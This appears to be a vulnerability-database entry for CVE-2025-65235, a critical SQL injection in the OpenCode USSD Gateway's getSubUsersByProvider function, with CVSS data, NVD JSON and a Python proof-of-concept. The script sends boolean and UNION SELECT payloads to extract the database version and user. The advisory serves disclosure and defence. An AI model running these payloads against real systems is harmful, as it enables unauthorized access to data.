Security Vulnerability Report
中文
CVE-2025-65235 CVSS 9.8 CRITICAL

CVE-2025-65235

Published: 2025-11-26 17:15:47
Last Modified: 2026-01-02 20:47:48

Description

OpenCode Systems USSD Gateway OC Release: 5 Version 6.13.11 was discovered to contain a SQL injection vulnerability via the ID parameter in the getSubUsersByProvider function.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:* - VULNERABLE
OpenCode Systems USSD Gateway OC 5 Version 6.13.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65235 SQL Injection PoC # Target: OpenCode Systems USSD Gateway OC getSubUsersByProvider # Severity: CRITICAL (CVSS 9.8) def exploit_sql_injection(target_url, param_name='id'): """ SQL Injection exploitation for CVE-2025-65235 Target: getSubUsersByProvider function """ # Basic injection test - boolean based true_payload = f"1' AND 1=1 --" false_payload = f"1' AND 1=2 --" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Test TRUE condition true_url = f"{target_url}?{param_name}={true_payload}" try: response_true = requests.get(true_url, headers=headers, timeout=10) # Test FALSE condition false_url = f"{target_url}?{param_name}={false_payload}" response_false = requests.get(false_url, headers=headers, timeout=10) # If responses differ, injection is possible if response_true.status_code != response_false.status_code or \ len(response_true.text) != len(response_false.text): print("[+] SQL Injection Confirmed!") # Extract database version version_payload = "1' UNION SELECT @@version --" version_url = f"{target_url}?{param_name}={version_payload}" version_response = requests.get(version_url, headers=headers, timeout=10) print(f"[*] Database Version: {version_response.text[:200]}") # Extract current user user_payload = "1' UNION SELECT user() --" user_url = f"{target_url}?{param_name}={user_payload}" user_response = requests.get(user_url, headers=headers, timeout=10) print(f"[*] Current User: {user_response.text[:200]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-65235.py <target_url>") print("Example: python cve-2025-65235.py http://target.com/api/getSubUsersByProvider") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65235", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:46.983", "lastModified": "2026-01-02T20:47:48.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCode Systems USSD Gateway OC Release: 5 Version 6.13.11 was discovered to contain a SQL injection vulnerability via the ID parameter in the getSubUsersByProvider function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:*", "matchCriteriaId": "56AD3C50-7C66-4B18-9817-AC6E9D7E8B42"}]}]}], "references": [{"url": "https://eslam3kl.gitbook.io", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65235-ussd-gw-sql-injection-subusers", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eslam3kl", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65235-ussd-gw-sql-injection-subusers", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}